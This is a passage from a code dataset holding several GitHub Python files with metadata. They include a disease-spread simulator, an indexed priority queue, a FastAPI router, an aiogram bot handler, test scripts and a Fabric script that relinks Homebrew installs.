a_hospital.location\n                            a_hospital.occupy_bed()\n                            break\n                    all_people[j].hospitalize(hospital_location)\n                \n                # otherwise quarantine the person\n                else:\n                    all_people[j].no_hospital_quarantine()\n        \n        for j in range(NUM_PERSONS):\n            for k in range(NUM_PERSONS):\n                if j != k:\n                    contact(all_people[j], all_people[k], i)\n        \n        for j in range(NUM_PERSONS):\n            if all_people[j].status == NO_HOSPITAL_QUARANTINED or all_people[j].is_hospitalized:\n                all_people[j].dead_immune_delay(i)\n        \n        get_people_stats(all_people, i)\n        \n\n\n\nif __name__ == \"__main__\":\n    run_iters(NUM_ITERATIONS_TO_RUN)\n", "repo_name": "TheRohitRahul/Disease_Spread_Simulator", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3403, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "config.NUM_HOSPITALS", "line_number": 15, "usage_type": "argument"}, {"api_name": "random.randint", "line_number": 19, "usage_type": "call"}, {"api_name": "config.MAX_LOCATION", "line_number": 19, "usage_type": "argument"}, {"api_name": "random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "config.MAX_LOCATION", "line_number": 20, "usage_type": "argument"}, {"api_name": "random.randint", "line_number": 23, "usage_type": "call"}, {"api_name": "config.MAX_LOCATION", "line_number": 23, "usage_type": "argument"}, {"api_name": "random.randint", "line_number": 24, "usage_type": "call"}, {"api_name": "config.MAX_LOCATION", "line_number": 24, "usage_type": "argument"}, {"api_name": "hospital.Hospital", "line_number": 25, "usage_type": "call"}, {"api_name": "config.NUM_BEDS_PER_HOSPITAL", "line_number": 25, "usage_type": "argument"}, {"api_name": "random.randint", "line_number": 33, "usage_type": "call"}, {"api_name": "config.NUM_PERSONS", "line_number": 33, "usage_type": "argument"}, {"api_name": "random.randint", "line_number": 35, "usage_type": "call"}, {"api_name": "config.NUM_PERSONS", "line_number": 35, "usage_type": "argument"}, {"api_name": "config.NUM_PERSONS", "line_number": 38, "usage_type": "argument"}, {"api_name": "person.Person", "line_number": 40, "usage_type": "call"}, {"api_name": "config.MAX_LOCATION", "line_number": 40, "usage_type": "argument"}, {"api_name": "covid19.Covid19", "line_number": 41, "usage_type": "call"}, {"api_name": "person.Person", "line_number": 44, "usage_type": "call"}, {"api_name": "config.MAX_LOCATION", "line_number": 44, "usage_type": "argument"}, {"api_name": "config.NUM_PERSONS", "line_number": 55, "usage_type": "argument"}, {"api_name": "config.NUM_PERSONS", "line_number": 80, "usage_type": "argument"}, {"api_name": "config.NUM_PERSONS", "line_number": 81, "usage_type": "argument"}, {"api_name": "contact.contact", "line_number": 83, "usage_type": "call"}, {"api_name": "config.NUM_PERSONS", "line_number": 85, "usage_type": "argument"}, {"api_name": "get_stats.get_people_stats", "line_number": 89, "usage_type": "call"}, {"api_name": "config.NUM_ITERATIONS_TO_RUN", "line_number": 95, "usage_type": "argument"}]}
{"seq_id": "70765789989", "text": "def getProperty(configFile, section, prop):\n\ttry:\n\t\timport configparser\n\t\tconfig = configparser.ConfigParser()\n\n\t\tconfig.read(configFile)\n\n\t\treturn config[section][prop]\n\n\texcept KeyError:\n\t\tprint ('Configuration file does not exist, or is corrupted. Please create it using helpers/makeconfig.py');\n\t\treturn ''\n\nimport socket\n\nsavedir = getProperty('config.ini', 'files', 'savedir')\ns = socket.socket()\nhost = '' # Means all available interfaces\nport = 13131\ns.bind((host, port))\n\ns.listen(1)\n\nimport connection\nwhile True:\n\tcon, addr = s.accept()\n\n\tcurrent = connection.Client(con, addr, savedir)\n\tcurrent.start()\n\ncon.close()\n", "repo_name": "tgummerer/filesync", "sub_path": "server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "configparser.ConfigParser", "line_number": 4, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 17, "usage_type": "call"}, {"api_name": "connection.Client", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "38224598021", "text": "from environments.music_world import MusicWorld\nfrom visualizer.music_visualizer import InteractiveComposer\n\nfrom argparse import ArgumentParser\n\ndef main():\n  parser: ArgumentParser = ArgumentParser()\n  parser.add_argument('--epsilon', type=float, default=0.1, help=\"randomness in action\")\n  parser.add_argument('--discount', type=float, default=1, help=\"learning rate\")\n  parser.add_argument('--episodes', type=int, default=5000, help=\"number of training episodes\")\n  parser.add_argument('--model', type=str, default=\"\", help=\"loads and persists model in file\")\n  parser.add_argument('--step', type=int, default=100, help=\"visualize results after a number of steps\")\n  parser.add_argument('--interactive_mode', action=\"store_true\", help=\"interact with user for learning\")\n  parser.add_argument('--aprox_q_learning', action=\"store_true\", help=\"use NN for aproximate q-learning\")\n  parser.add_argument('--batch_size', type=int, default=100, help=\"size of each NN batch\")\n  parser.add_argument('--results', action=\"store_true\", help=\"plays the best result so far\")\n\n  args = parser.parse_args()\n\n  env : MusicWorld = MusicWorld(args.interactive_mode)\n\n  viz: InteractiveComposer = InteractiveComposer(env, args.model)\n\n  if(not args.results):\n    if (args.aprox_q_learning):\n      viz.deep_q_learning(args.epsilon, args.discount, args.batch_size, args.episodes, args.step)\n    else:\n      viz.q_learning(args.epsilon, args.discount, args.episodes, args.step)\n  else:\n    viz.greedy_policy_vis(8)\n\nif __name__ == \"__main__\":\n  main()", "repo_name": "franciscovilchezv/eurydice.rl", "sub_path": "source/run_music_generation.py", "file_name": "run_music_generation.py", "file_ext": "py", "file_size_in_byte": 1531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "name"}, {"api_name": "environments.music_world.MusicWorld", "line_number": 20, "usage_type": "name"}, {"api_name": "visualizer.music_visualizer.InteractiveComposer", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "16174137907", "text": "from numbers import Number\nfrom typing import Dict, Hashable, List, Tuple\n\n\nclass IndexedPriorityQueue:\n    def __init__(self):\n        self.queue: List[Number] = []\n        self.key_index: Dict[Hashable, int] = {}  # key -> index in heap\n        self.index_key: Dict[int, Hashable] = {}  # index in heap -> key\n\n    def __bool__(self) -> bool:\n        return bool(self.queue)\n\n    def __len__(self) -> int:\n        return len(self.queue)\n\n    def __contains__(self, key: Hashable) -> bool:\n        return key in self.key_index\n\n    def index(self, key: Hashable) -> int:\n        return self.key_index[key]\n\n    def key(self, index: int) -> Hashable:\n        return self.index_key[index]\n\n    def priority(self, key: Hashable) -> Number:\n        index = self.index(key)\n        return self.queue[index]\n\n    def peek(self) -> Tuple[Hashable, Number]:\n        if len(self.queue) == 0:\n            raise IndexError()\n\n        return self.key(0), self.queue[0]\n\n    def push(self, key: Hashable, priority: Number) -> None:\n        if key in self.key_index:\n            raise KeyError(\"Key already exists\")\n\n        self.queue.append(priority)\n\n        index = len(self.queue) - 1\n\n        self.key_index[key] = index\n        self.index_key[index] = key\n\n        self._maintain_invariant(index)\n\n    def pop(self) -> Tuple[Hashable, Number]:\n        if len(self.queue) == 0:\n            raise IndexError()\n\n        if len(self.queue) == 1:\n            index = 0\n            key = self.index_key[index]\n\n            priority = self.queue.pop()\n\n            del self.index_key[index]\n            del self.key_index[key]\n\n            return key, priority\n\n        if len(self.queue) > 1:\n            index = 0\n            key = self.index_key[index]\n            priority = self.queue[index]\n\n            last_index = len(self.queue) - 1\n            last_key = self.index_key[last_index]\n            last_priority = self.queue.pop()\n\n            self.queue[index] = last_priority\n\n            del self.key_index[key]\n            del self.index_key[last_index]\n\n            self.index_key[index] = last_key\n            self.key_index[last_key] = index\n\n            self._maintain_invariant(0)\n\n            return key, priority\n\n    def delete(self, key: Hashable) -> Tuple[Hashable, Number]:\n        index = self.index(key)\n\n        if len(self.queue) == 1:\n            return self.pop()\n\n        priority = self.queue[index]\n\n        last_index = len(self.queue) - 1\n        last_key = self.index_key[last_index]\n        last_priority = self.queue.pop()\n\n        del self.key_index[key]\n        del self.index_key[last_index]\n\n        if index != last_index:\n            self.queue[index] = last_priority\n\n            self.key_index[last_key] = index\n            self.index_key[index] = last_key\n\n            self._maintain_invariant(index)\n\n        return key, priority\n\n    def update(self, key: Hashable, new_priority: Number) -> None:\n        index = self.index(key)\n\n        self.queue[index] = new_priority\n\n        self._maintain_invariant(index)\n\n    def _maintain_invariant(self, index: int) -> None:\n        self._move_down(index)\n        self._move_up(index)\n\n    def _move_up(self, index) -> None:\n        parent_index = (index - 1) // 2\n\n        if index > 0 and self.queue[parent_index] > self.queue[index]:\n            self._swap(index, parent_index)\n            self._move_up(parent_index)\n\n    def _swap(self, index_a: int, index_b: int) -> None:\n        key_a = self.index_key[index_a]\n        key_b = self.index_key[index_b]\n\n        # Swap priorities in heap\n        self.queue[index_a], self.queue[index_b] = (\n            self.queue[index_b],\n            self.queue[index_a],\n        )\n\n        # Swap mappings\n        self.key_index[key_a], self.key_index[key_b] = index_b, index_a\n        self.index_key[index_a], self.index_key[index_b] = key_b, key_a\n\n    def _move_down(self, index: int) -> None:\n        left_child_index = index * 2 + 1\n\n        if (\n            left_child_index < len(self.queue)\n            and self.queue[left_child_index] < self.queue[index]\n        ):\n            self._swap(index, left_child_index)\n            self._move_down(left_child_index)\n\n        right_child_index = index * 2 + 2\n\n        if (\n            right_child_index < len(self.queue)\n            and self.queue[right_child_index] < self.queue[index]\n        ):\n            self._swap(index, right_child_index)\n            self._move_down(right_child_index)\n", "repo_name": "gabrielbazan/indexed_priority_queue", "sub_path": "indexed_priority_queue/ipq.py", "file_name": "ipq.py", "file_ext": "py", "file_size_in_byte": 4466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "numbers.Number", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 26, "usage_type": "name"}, {"api_name": "numbers.Number", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 30, "usage_type": "name"}, {"api_name": "numbers.Number", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 36, "usage_type": "name"}, {"api_name": "numbers.Number", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 49, "usage_type": "name"}, {"api_name": "numbers.Number", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 85, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 85, "usage_type": "name"}, {"api_name": "numbers.Number", "line_number": 85, "usage_type": "name"}, {"api_name": "typing.Hashable", "line_number": 110, "usage_type": "name"}, {"api_name": "numbers.Number", "line_number": 110, "usage_type": "name"}]}
{"seq_id": "34646776876", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\ndriver=webdriver.Chrome(executable_path=\"D:\\\\Python_Atul\\\\chromedriver\\\\chromedriver.exe\")\n\ndriver.get(\"https://rahulshettyacademy.com/AutomationPractice/\")\nvalidatetext=\"ATUL\"\ndriver.find_element(by=By.CSS_SELECTOR,value='#name').send_keys(validatetext)\ndriver.find_element(by=By.CSS_SELECTOR,value=\"#alertbtn\").click()\n\n\nalert=driver.switch_to.alert\nalerttext=alert.text\nassert validatetext in alerttext\nalert.accept()\n", "repo_name": "atulmali11/Atul_Python", "sub_path": "PythonSelenium/popupsdemo.py", "file_name": "popupsdemo.py", "file_ext": "py", "file_size_in_byte": 497, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 4, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 4, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 8, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 8, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 9, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 9, "usage_type": "name"}]}
{"seq_id": "39977961446", "text": "import argparse\nimport re\nimport logging\n\n\n\"\"\"\nThis script checks whether the results format for Task 5 is correct. \nIt also provides some warnings about possible errors.\n\nThe correct format of the Task 5 results file is the following:\n  \n\nwhere  is the number of the claim in the debate \nand  indicates the degree of 'check-worthiness' of the given line.\n\"\"\"\n\n_LINE_PATTERN_A = re.compile('^[1-9][0-9]{16,22}\\t([-+]?\\d*\\.\\d+|\\d+)$')\nlogging.basicConfig(format='%(levelname)s : %(message)s', level=logging.INFO)\n\n\ndef check_format(file_path):\n    with open(file_path, encoding='UTF-8') as out:\n        file_content = out.read().strip()\n        for i, line in enumerate(file_content.split('\\n')):\n            topic_id, tweet_id, score, run_id = line.strip().split('\\t')\n\n            if not _LINE_PATTERN_A.match(\"%s\\t%s\"%(tweet_id, score)):\n                # 1. Check line format.\n                logging.error(\"Wrong line format: {}\".format(line))\n                return False\n            tweet_id = int(tweet_id)\n            score = float(score.strip())\n\n    return True\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--pred_file_path\", \"-p\", required=True, help=\"The absolute path to the file you want to check.\", type=str)\n    args = parser.parse_args()\n    logging.info(\"Task 5: Checking file: {}\".format(args.pred_file_path))\n    check_format(args.pred_file_path)", "repo_name": "sshaar/clef2020-factchecking-task1", "sub_path": "format_checker/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1459, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.compile", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 29, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "14136514109", "text": "'''\nFile to be used to test CRUD operations on the api.\n\nThe data for the Create operation can be passed as command line \narguments, or simply ignored as defaults are put in place.\n'''\n\nimport requests, argparse\nfrom json import dumps as _\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-n', '--name', help='The name of the Person object to be created through the api')\nparser.add_argument('-e', '--email', help = 'The email of the Person object to be created through the api')\nparser.add_argument('-b', '--bio', help='The bio of the Person object to be created through the api')\n\nargs = parser.parse_args()\n\nif not args.name and not args.email and not args.bio:\n\timport sys\n\tprint(f\"\\nThis file comes with a CLI, run `python {sys.argv[0]} -h` to view the help option\\n\")\n\n# provided name or default value\nname = args.name or 'Jonathan Ma'\nemail = args.email or 'Joma@gmail.com' \nbio = args.bio or 'Tech youtuber.'\n\n# endpoints\nlist_create = 'http://tegarorobi.pythonanywhere.com/api/'\nretrieve_update_destroy = f'http://tegarorobi.pythonanywhere.com/api/{name}/'\n\n\nprint(f\"Create Person object: {name}\")\npersons_create = requests.post(list_create, {\n\t'name':name, \n\t'email':args.email or 'Joma@gmail.com', \n\t'bio':args.bio or 'Tech youtuber.'})\nif persons_create.status_code == 400:\n\timport sys \n\tsys.exit(_(persons_create.json(), indent=4))\nprint(_(persons_create.json(), indent=4), '\\n\\n')\n\nprint(\"Person objects' list:\")\npersons_list = requests.get(list_create)\nprint(_(persons_list.json(), indent=4), '\\n\\n')\n\nprint(f\"Retrieve Person object: {name}\")\nperson_retrieve = requests.get(retrieve_update_destroy)\nprint(_(person_retrieve.json(), indent=4), '\\n\\n')\n\nprint(f\"Update Person object: {name}\")\nperson_update = requests.patch(retrieve_update_destroy, {'email':'updated@domain.com'})\nprint(_(person_update.json(), indent=4), '\\n\\n')\n\nprint(f\"Delete Person obect: {name}\")\nperson_delete = requests.delete(retrieve_update_destroy)\nprint('\\n')\n\nprint(\"Person objects' list:\")\npersons_list = requests.get(list_create)\nprint(_(persons_list.json(), indent=4), '\\n\\n')", "repo_name": "TegaRorobi/HNGx-backend-stage2-task", "sub_path": "TESTING_SCRIPT.py", "file_name": "TESTING_SCRIPT.py", "file_ext": "py", "file_size_in_byte": 2078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 39, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 39, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 43, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 44, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 47, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 48, "usage_type": "call"}, {"api_name": "requests.patch", "line_number": 51, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 52, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 55, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 59, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "7762435373", "text": "from aiogram import types, Dispatcher\nfrom telegram import markups\nfrom aiogram.dispatcher import FSMContext\n\n\nasync def start_command(message: types.Message, state: FSMContext):\n    if message.chat.type != 'private':  # start only in private messages\n        return\n    await state.finish()\n    keyboard = markups.get_start_menu()\n    await message.answer(\"👋Добро пожаловать в бот для сбора данных с телеграмм груп!\\n\"\n                         \"🧐Через меня вы сможете получить информацию о пользователях\",\n                         reply_markup=keyboard)\n\n\ndef register_handlers(dp: Dispatcher):\n    \"\"\"Register message handlers\"\"\"\n    dp.register_message_handler(start_command, commands=\"start\")\n", "repo_name": "YoDooky/profiRealEstateMoscowParserBot", "sub_path": "telegram/handlers/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 800, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "aiogram.types.Message", "line_number": 6, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 6, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 6, "usage_type": "name"}, {"api_name": "telegram.markups.get_start_menu", "line_number": 10, "usage_type": "call"}, {"api_name": "telegram.markups", "line_number": 10, "usage_type": "name"}, {"api_name": "aiogram.Dispatcher", "line_number": 16, "usage_type": "name"}]}
{"seq_id": "16262326957", "text": "from fastapi import APIRouter, Depends, HTTPException, status\nimport database, models, schemas\nfrom sqlalchemy.orm import Session\n\nget_db = database.get_db\n\n\nrouter = APIRouter(\n    prefix='/dataentry',\n    tags=['dataentry']\n)\n\n\n@router.post('/')\nasync def data_entry(request: schemas.Data, db: Session = Depends(get_db)):\n    new_form_data = models.DataEntry(writer=request.writer, formId=request.formId,\n                                   answer=request.answer)\n    db.add(new_form_data)\n    db.commit()\n    db.refresh(new_form_data)\n    return HTTPException(status_code=status.HTTP_201_CREATED)\n\n\n@router.get('/answers')\nasync def send_all_answers(db: Session = Depends(get_db)):\n    answers = db.query(models.DataEntry).all()\n    return answers\n", "repo_name": "Amindosti/merrit-fastapi", "sub_path": "router/dataentry.py", "file_name": "dataentry.py", "file_ext": "py", "file_size_in_byte": 750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "database.get_db", "line_number": 5, "usage_type": "attribute"}, {"api_name": "fastapi.APIRouter", "line_number": 8, "usage_type": "call"}, {"api_name": "schemas.Data", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 15, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 15, "usage_type": "call"}, {"api_name": "models.DataEntry", "line_number": 16, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 21, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_201_CREATED", "line_number": 21, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 25, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 25, "usage_type": "call"}, {"api_name": "models.DataEntry", "line_number": 26, "usage_type": "attribute"}]}
{"seq_id": "72797736229", "text": "#! *-* coding: utf-8 *-*\n\"\"\"reconfig formula after brew upgrade\"\"\"\n\nfrom fabric.api import env\nfrom fabric.operations import put, run\nimport os\n\n\nLOCAL_DIR = '/usr/local'\nCELLAR_DIR = '/usr/local/Cellar'\nSOFTWARE_DIR = '/Users/hqlgree2/Downloads/software'\nCONNECTOR_MYSQL = 'mysql-connector-java-5.1.38-bin.jar'\n\nenv.hosts = ['localhost']\n\n\ndef check():\n    \"\"\"check /usr/local                => fab check\"\"\"\n    # ln -s /usr/local/Cellar/apache-drill/version /usr/local/apache-drill\n    run('ls -l {}'.format(LOCAL_DIR))\n\ndef apache_drill(version):\n    \"\"\"config /usr/local/apache-drill  => fab apache_drill:'1.4.0'\"\"\"\n    # ln -s /usr/local/Cellar/apache-drill/version /usr/local/apache-drill\n    link_from = os.path.join(CELLAR_DIR, 'apache-drill', version)\n    link_to = os.path.join(LOCAL_DIR, 'apache-drill')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n    # copy config files\n    cfg_from = './apache-drill'\n    cfg_to = os.path.join(link_to, 'libexec/conf')\n    for cfg in os.listdir(cfg_from):\n        file_i = os.path.join(cfg_from, cfg)\n        file_o = os.path.join(cfg_to, cfg)\n        put(file_i, file_o)\n\ndef apache_spark(version):\n    \"\"\"config /usr/local/apache-spark  => fab apache_spark:'1.6.0'\"\"\"\n    # ln -s /usr/local/Cellar/apache-drill/version /usr/local/apache-drill\n    link_from = os.path.join(CELLAR_DIR, 'apache-spark', version)\n    link_to = os.path.join(LOCAL_DIR, 'apache-spark')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n    # copy config files\n    cfg_from = './apache-spark'\n    cfg_to = os.path.join(link_to, 'libexec/conf')\n    for cfg in os.listdir(cfg_from):\n        file_i = os.path.join(cfg_from, cfg)\n        file_o = os.path.join(cfg_to, cfg)\n        put(file_i, file_o)\n\n\ndef hadoop(version, use_yarn):\n    \"\"\"config /usr/local/hadoop        => fab hadoop:'2.7.1',True\"\"\"\n    # ln -s /usr/local/Cellar/hadoop/version /usr/local/hadoop\n    link_from = os.path.join(CELLAR_DIR, 'hadoop', version)\n    link_to = os.path.join(LOCAL_DIR, 'hadoop')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n    # copy config files\n    cfg_from = './hadoop/' + ('yarn' if use_yarn else 'mapred')\n    cfg_to = os.path.join(link_to, 'libexec/etc/hadoop')\n    for cfg in os.listdir(cfg_from):\n        file_i = os.path.join(cfg_from, cfg)\n        file_o = os.path.join(cfg_to, cfg)\n        put(file_i, file_o)\n\ndef hbase(version):\n    \"\"\"config /usr/local/hbase         => fab hbase:'1.1.2'\"\"\"\n    # ln -s /usr/local/Cellar/hbase/version /usr/local/hbase\n    link_from = os.path.join(CELLAR_DIR, 'hbase', version)\n    link_to = os.path.join(LOCAL_DIR, 'hbase')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n    # copy config files\n    cfg_from = './hbase/'\n    cfg_to = os.path.join(link_to, 'libexec/conf')\n    for cfg in os.listdir(cfg_from):\n        file_i = os.path.join(cfg_from, cfg)\n        file_o = os.path.join(cfg_to, cfg)\n        put(file_i, file_o)\n\ndef hive(version):\n    \"\"\"config /usr/local/hive          => fab hive:'1.2.1'\"\"\"\n    # ln -s /usr/local/Cellar/hive/version /usr/local/hive\n    link_from = os.path.join(CELLAR_DIR, 'hive', version)\n    link_to = os.path.join(LOCAL_DIR, 'hive')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n    # copy config files\n    cfg_from = './hive/'\n    cfg_to = os.path.join(link_to, 'libexec/conf')\n    for cfg in os.listdir(cfg_from):\n        file_i = os.path.join(cfg_from, cfg)\n        file_o = os.path.join(cfg_to, cfg)\n        put(file_i, file_o)\n    # copy connector(mysql)\n    copy_to = os.path.join(link_to, 'libexec/lib', 'mysql.*.jar')\n    run('rm -f {}'.format(copy_to))\n    copy_form = os.path.join(SOFTWARE_DIR, CONNECTOR_MYSQL)\n    copy_to = os.path.join(link_to, 'libexec/lib', CONNECTOR_MYSQL)\n    put(copy_form, copy_to)\n\ndef kafka(version):\n    \"\"\"config /usr/local/kafka         => fab kafka:'0.8.2.2'\"\"\"\n    # ln -s /usr/local/Cellar/kafka/version /usr/local/kafka\n    link_from = os.path.join(CELLAR_DIR, 'kafka', version)\n    link_to = os.path.join(LOCAL_DIR, 'kafka')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n    # copy config files\n    cfg_from = './kafka/'\n    cfg_to = os.path.join(link_to, 'libexec/conf')\n    for cfg in os.listdir(cfg_from):\n        file_i = os.path.join(cfg_from, cfg)\n        file_o = os.path.join(cfg_to, cfg)\n        put(file_i, file_o)\n\ndef solr(version):\n    \"\"\"config /usr/local/solr          => fab solr:'5.4.0'\"\"\"\n    # ln -s /usr/local/Cellar/solr/version /usr/local/solr\n    link_from = os.path.join(CELLAR_DIR, 'solr', version)\n    link_to = os.path.join(LOCAL_DIR, 'solr')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n\ndef sqoop(version):\n    \"\"\"config /usr/local/sqoop         => fab sqoop:'1.4.6'\"\"\"\n    # ln -s /usr/local/Cellar/sqoop/version /usr/local/sqoop\n    link_from = os.path.join(CELLAR_DIR, 'sqoop', version)\n    link_to = os.path.join(LOCAL_DIR, 'sqoop')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n\ndef tomcat(version):\n    \"\"\"config /usr/local/tomcat        => fab tomcat:'8.0.30'\"\"\"\n    # ln -s /usr/local/Cellar/tomcat/version /usr/local/tomcat\n    link_from = os.path.join(CELLAR_DIR, 'tomcat', version)\n    link_to = os.path.join(LOCAL_DIR, 'tomcat')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n\ndef zookeeper(version):\n    \"\"\"config /usr/local/zookeeper     => fab zookeeper:'3.4.7'\"\"\"\n    # ln -s /usr/local/Cellar/zookeeper/version /usr/local/zookeeper\n    link_from = os.path.join(CELLAR_DIR, 'zookeeper', version)\n    link_to = os.path.join(LOCAL_DIR, 'zookeeper')\n    run('rm -f {}'.format(link_to))\n    run('ln -s {} {}'.format(link_from, link_to))\n    # copy config files\n    cfg_from = './zookeeper/'\n    cfg_to = os.path.join(LOCAL_DIR, 'etc/zookeeper')\n    for cfg in os.listdir(cfg_from):\n        file_i = os.path.join(cfg_from, cfg)\n        file_o = os.path.join(cfg_to, cfg)\n        put(file_i, file_o)\n", "repo_name": "gree2/fabric", "sub_path": "brew/fabfile.py", "file_name": "fabfile.py", "file_ext": "py", "file_size_in_byte": 6145, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "fabric.api.env.hosts", "line_number": 14, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 14, "usage_type": "name"}, {"api_name": "fabric.operations.run", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 27, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 42, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 47, "usage_type": "call"}, 